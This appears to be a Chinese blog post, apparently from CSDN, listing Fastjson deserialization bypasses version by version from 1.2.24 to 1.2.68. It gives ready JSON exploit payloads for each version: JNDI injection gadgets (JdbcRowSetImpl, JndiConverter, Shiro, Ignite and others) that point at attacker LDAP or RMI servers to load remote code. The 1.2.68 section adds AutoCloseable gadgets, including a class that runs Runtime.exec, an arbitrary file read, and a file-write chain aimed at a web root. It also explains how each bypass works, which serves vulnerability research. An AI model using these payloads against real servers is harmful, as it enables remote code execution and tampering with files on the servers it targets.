Fastjson历史版本记录

1.2.24

TemplatesImpl,利用条件苛刻,需要开启Feature.SupportNonPublicField

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADQA...CJAAk="],
    "_name": "pwn",
    "_tfactory": {},
    "_outputProperties": {},
}

JdbcRowSetImpl利用链的JDNI注入,有RMI和LDAP两种利用方式,不过有JDK版本限制,具体见JNDI

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}


{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "databaseMetaData":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

1.2.25

25版本引入了checkAutoType的机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,检测方式是先黑名单检测,后加载白名单中存在的类:

如果autoTypeSupport打开的情况,是先加载白名单中存在的类,后黑名单检测:

之后,如果autoTypeSupport打开,并且指定了反序列化的类exceptClass,会进入loadClass方法:

跟进这个方法,这里对类名中的一些特殊字符做了处理,然后递归调用loadClass:

所以可以利用这个特性,在autoTypeSupport打开,并且指定反序列化的类exceptClass的情况下,为黑名单中的类加上这些字符,就能绕过黑名单的检测。

{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

// another
{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "databaseMetaData":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

1.2.42

42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L开头,;结尾,则会用stubstring处理一下:

双写即可绕过:

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

1.2.43

针对42版本中的双写绕过,43中解决的方法是套了一个子判断:

随后安全研究人员将目光投入了在loadClass中也同样被处理的 '[' 字符:

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

1.2.44

44版本针对43版本的绕过作了处理,如果类名以 [ 开头则会直接抛出异常:

1.2.45

45版本为黑名单绕过:

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

1.2.47

47版本下出现了不开启autoTypeSupport的绕过,绕过方式是第一轮扫描先通过Class类把JdbcRowSetImpl加入mapping缓存,第二轮扫描的时候直接从缓存中获取类,从而绕过的黑名单的检测。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Exploit",
        "autoCommit":true
    }
}

关于版本:

  • 在1.2.25 ~ 32中,未开启autoTypeSupport的情况下可以利用成功,开启之后反而无法利用
  • 在1.2.33 ~ 47中,无论是否开启autoTypeSupport都可以利用

关于版本问题的原因还是在checkAutoType方法中,在开启了autoTypeSupport情况下:

对于黑名单的判读逻辑不一样,33版本之后多加了一个条件,就是从缓存的mapping中获取待加载的类,第一轮扫描把JdbcRowSetImpl加入了缓存,对于33版本之后第二轮扫描JdbcRowSetImpl的时候这个条件为true,就绕过的黑名单的检测,而33版本之前由于没有这一个条件,所以会抛出异常。

在没有开启autoTypeSupport的情况下,不会进入到第一个if条件中去,Class类在这个被找到:

之后会提取json文本中的 "var" 的值,然后放到缓存mapping中,第二轮扫描的时候通过TypeUtils#getClassFromMapping直接获取到了JdbcRowSetImpl。


1.2.62

需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://localhost:1389/Exploit"
}

1.2.66

Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)

黑名单绕过,都需要开启AutoType。

{    "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",    "jndiNames": [        "ldap://localhost:1389/Exploit"    ],    "Realms": [        ""    ]}
{    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",    "metricRegistry": "ldap://localhost:1389/Exploit"}{    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",    "healthCheckRegistry": "ldap://localhost:1389/Exploit"}
{    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",    "properties": {        "@type": "java.util.Properties",        "UserTransaction": "ldap://localhost:1389/Exploit"    }}

1.2.67

黑名单绕过,需要开启AutoType。

{    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",    "jndiNames": [        "ldap://localhost:1389/Exploit"    ],    "tm": {        "$ref": "$.tm"    }}
{    "@type": "org.apache.shiro.jndi.JndiObjectFactory",    "resourceName": "ldap://localhost:1389/Exploit",    "instance": {        "$ref": "$.instance"    }}

1.2.68

48版本把缓存开关默认这只为了false,从而避免了通过加载恶意类到缓存mapping中的绕过方式。

直到68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常:

对于开了safeMode的站基本不用看了✔

此外这个版本提出了一种针对expectClass的绕过,其思路是利用checkAutoType方法的expectClass参数,先传入某个类作为expectClass,再传入另一个expectClass或者其子类来进行绕过(expectClass不在黑名单中):

AutoCloseable(无需AutoType)

根据网上公开的分析文章来看,主要是利用了java.lang.AutoCloseable接口,这个接口内置在Fastjson的白名单中,方便复现,假设服务器存在一个恶意的AutoCloseable实现类:

package v_68;import java.io.IOException;public class A implements AutoCloseable{    public A() throws IOException {        Runtime.getRuntime().exec("calc");    }    @Override    public void close() throws Exception {    }}

POC如下:

{"@type":"java.lang.AutoCloseable","@type":"v_68.A"}

调试分析

在第一次checkAutoType方法的检测中,传入的expectClass为null,检验的类为java.lang.AutoCloseable:

如果开启了autoTypeSupport,那么会从TypeUtils中直接加载返回:

如果没有开启autoTypeSupport,会从缓存mapping处获取之后返回(java.lang.AutoCloseable默认在缓存mapping中):

回到parseObject方法中,再往下走,Fastjson根据第一次执行checkAutoType方法返回的class获取相应的deserializer,可以看到AutoCloseable类获取的deserializer为JavaBeanDeserializer:

> 再往后跟代码比较冗长,主要是Fastjson词法分析的过程,捡几个重点说。

首先会从json字符串中匹配AutoCloseable的成员变量,如果匹配不到则继续往后扫描json字符串,提取下一个key:

拿到@type的值之后进入第二遍checkAutoType,此时expectClass正好是java.lang.AutoCloseable:

接上文,成功绕过checkAutoType,之后会默认调用无参构造方法来构建JavaBean。

SafeFileOutputStream

<dependency>    <groupId>org.aspectj</groupId>    <artifactId>aspectjtools</artifactId>    <version>1.9.5</version></dependency>

用到的类是org.eclipse.core.internal.localstore.SafeFileOutputStream,在它的构造方法里:

利用这个特点可以实现任意文件读:

{    "@type":"java.lang.AutoCloseable",    "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",    "tempPath": "C:/Windows/win.ini",    "targetPath": "C:/Users/45258/Desktop/IdeaProjects/JavaStudy/fastjson/1.txt"}

Output

<dependency>    <groupId>com.esotericsoftware</groupId>    <artifactId>kryo</artifactId>    <version>4.0.0</version></dependency>

用到的类是com.esotericsoftware.kryo.io.Output,这个类的setOutputStream和setBuffer可以控制写入的流和写入的数据;在flush方法中触发了文件内容写入:

在require方法中触发了flush方法,在write相关方法中触发了require方法:

在JDK自带的ObjectOutputStream中有参构造方法中:

setBlockDataMode方法会触发drain方法,drain方法会触发wirte方法:

于是可以把out赋值成Output类的实例,直到触发flush方法。

但是Fastjson有一个特性就是在构建JavaBean的时候默认调用的是无参构造方法,所以想要调用ObjectOutputStream的有参构造方法,就只能靠其子类来调用,这里一个可用的类是SerialOutput,依赖如下:

<dependency>    <groupId>com.sleepycat</groupId>    <artifactId>je</artifactId>    <version>5.0.73</version></dependency>

在这个类唯一的构造方法中调用了其父类(ObjectOutputStream)的有参构造方法,所以一条Gadget就构造完成了:

write:126, SafeFileOutputStream (org.eclipse.core.internal.localstore)write:116, OutputStream (java.io)flush:185, Output (com.esotericsoftware.kryo.io)require:164, Output (com.esotericsoftware.kryo.io)writeBytes:251, Output (com.esotericsoftware.kryo.io)write:219, Output (com.esotericsoftware.kryo.io)drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)<init>:247, ObjectOutputStream (java.io)<init>:73, SerialOutput (com.sleepycat.bind.serial)

至于为什么Output类中可控的写入的流选用了SafeFileOutputStream类,原因有以下几点:

  • 实现了java.lang.AutoCloseable接口,可以绕过checkAutoType
  • 在其构造方法处根据传入的targetPath和tempPath实现了FileOutputStream的初始化

  • 通过控制这两条路径就能向文件中写入内容

这个Exp利用了Fastjson中的循环引用

{    "stream": {        "@type": "java.lang.AutoCloseable",        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",        "targetPath": "D:/wamp64/www/hacked.txt",        "tempPath": "D:/wamp64/www/test.txt"    },    "writer": {        "@type": "java.lang.AutoCloseable",        "@type": "com.esotericsoftware.kryo.io.Output",        "buffer": "cHduZWQ=",        "outputStream": {            "$ref": "$.stream"        },        "position": 5    },    "close": {        "@type": "java.lang.AutoCloseable",        "@type": "com.sleepycat.bind.serial.SerialOutput",        "out": {            "$ref": "$.writer"        }    }}

在这里我本来想用JDK原生的java.io.FileOutputStream来代替SafeFileOutputStream,但是却出现了下面的错误:

具体问题研究以及解决:问题记录 (wolai.com)

Throwable(AutoType开启)

@type指定为java.lang.Throwable的时候获取到的deserializer为ThrowableDeserializer:

在ThrowableDeserializer#deserialze方法中指定了checkAutoType方法的入参expectClass为Throwable.class:

但是这个类没有找到合适的Gadget,先留着以后再说。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值